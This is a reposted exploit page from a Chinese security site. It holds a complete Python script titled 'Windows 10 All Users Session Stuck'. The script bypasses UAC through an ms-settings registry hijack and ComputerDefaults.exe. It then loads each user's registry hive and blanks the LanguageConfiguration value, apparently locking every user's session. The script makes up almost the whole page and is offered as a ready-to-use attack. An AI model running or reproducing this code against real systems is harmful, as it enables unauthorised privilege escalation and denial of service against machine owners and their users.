首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows 10 User Sessions Stuck
来源:fabien.dromas at synetis.com 作者:Dromas 发布时间:2018-11-01  
#!/usr/bin/env python
#
# Exploit Title: Windows 10 All Users Session Stuck
# Date: 2018-10-24
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
# Twitter: st0rnpentest
# 
# After microsoft's refusal to consider the issue as a security problem, I disclose the script 
# Vendor Homepage: www.microsoft.com
# Version: Version 10.0.17134.345
# Tested on: Windows 10 pro Version 10.0.17134.345
#

from os import listdir, system, path
from ctypes import *
import _winreg

def create_reg_key(key, value):
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def exec_bypass_uac(cmd):
    try:
        create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def bypass_uac():        
 try:                
    current=path.dirname(path.realpath(__file__)) + '\\' + __file__
    cmd="C:\windows\System32\cmd.exe /k c:\python27\python %s" %current
    exec_bypass_uac(cmd)                
    system(r'C:\windows\system32\ComputerDefaults.exe')  
    return 1               
 except WindowsError:
    sys.exit(1) 

def modify_reg_key(key, value):
    try:        
        registry_key=_winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Control Panel\Desktop\LanguageConfiguration', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise


def modify_reg_key_Others(key, value):
    try:        
        registry_key = _winreg.OpenKey(_winreg.HKEY_USERS, 'w00t\Control Panel\Desktop\LanguageConfiguration', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise		

if __name__ == '__main__':
    try:
		sys32="c:\\windows\\system32\\"
		users="c:\\users\\"
		exclude=["Public", "desktop.ini", "All Users"]
		
		# Modify all users
		if windll.Shell32.IsUserAnAdmin():
			for i in listdir(users):
				if i not in exclude:
						system("reg.exe LOAD HKU\w00t "+users+i+"\NTUSER.DAT")
						modify_reg_key_Others('', '')
						system("reg.exe UNLOAD HKU\w00t")
			
			# Modify current user	
			modify_reg_key('', '')    
		else: 
			bypass_uac()
    except WindowsError:
        raise   

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Modbus Slave 7.0.0 - Denial of
·R 3.4.4 (Windows 10 x64) - Buf
·Paramiko 2.4.1 - Authenticatio
·xorg-x11-server 1.20.3 - Privi
·Local Server 1.0.9 - Denial of
·Any Sound Recorder 2.93 - Buff
·Modbus Slave PLC 7 - '.msw' Bu
·ZyXEL VMG3312-B10B < 1.00(AAPP
·AlienIP 2.41 - Denial of Servi
·Nutanix AOS & Prism < 5.5.5 (L
·Navicat 12.0.29 - 'SSH' Denial
·QNAP NetBak Replicator 4.5.6.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved